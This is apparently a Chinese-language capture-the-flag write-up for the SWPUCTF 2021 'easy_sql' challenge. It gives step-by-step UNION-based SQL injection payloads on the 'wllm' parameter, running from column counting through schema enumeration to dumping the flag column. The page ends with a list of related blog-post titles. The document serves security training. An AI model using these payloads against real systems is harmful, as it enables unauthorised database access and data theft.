字符型注入([SWPUCTF 2021 新生赛]easy_sql)

拿到题目,查看源码,可知是要输入参数wllm。

输入参数/?wllm=1,得到会显

继续输入参数/?wllm=1',报错,确定为字符型漏洞

1.查看字段列表,发现在字段4报错,确定为3列

复制代码
?wllm=-1' order by 3--+
?wllm=-1' order by 4--+

2.查看回显

复制代码
?wllm=-1' union select 1,2,3--+

3.查询数据库名(test_db)

复制代码
?wllm=-1' union select 1,2,database()--+

4.查看test_db库的表(users)

复制代码
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

5.查询字段

复制代码
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

6.出现flag字段,查看flag字段的内容

复制代码
/?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+ 

出现flag字段,成功解出

相关推荐
定偶几秒前
事务、触发器、存储过程与视图全解析
数据库·oracle
范纹杉想快点毕业2 分钟前
STM32单片机与ZYNQ PS端 中断+状态机+FIFO 综合应用实战文档(初学者版)
linux·数据结构·数据库·算法·mongodb
拓云者也4 分钟前
常用的生物信息学数据库以及处理工具
数据库·python·oracle·r语言·bash
Henry Zhu1235 分钟前
数据库(二):数据模型
数据库
曹牧6 分钟前
Java:将字符串转换为整数
java·数据库
hcnaisd27 分钟前
机器学习模型部署:将模型转化为Web API
jvm·数据库·python
m0_738120729 分钟前
内网横向——记录某三层网络渗透及综合渗透(socks代理隧道搭建,nacos未授权,redis上传Webshell)
网络·安全·web安全·ssh·php
J_liaty14 分钟前
SpringBoot整合Canal实现数据库实时同步
数据库·spring boot·后端·canal
草莓熊Lotso20 分钟前
从零手搓实现 Linux 简易 Shell:内建命令 + 环境变量 + 程序替换全解析
linux·运维·服务器·数据库·c++·人工智能
世界尽头与你21 分钟前
(修复方案)CVE-2021-43798: Grafana路径遍历漏洞
安全·grafana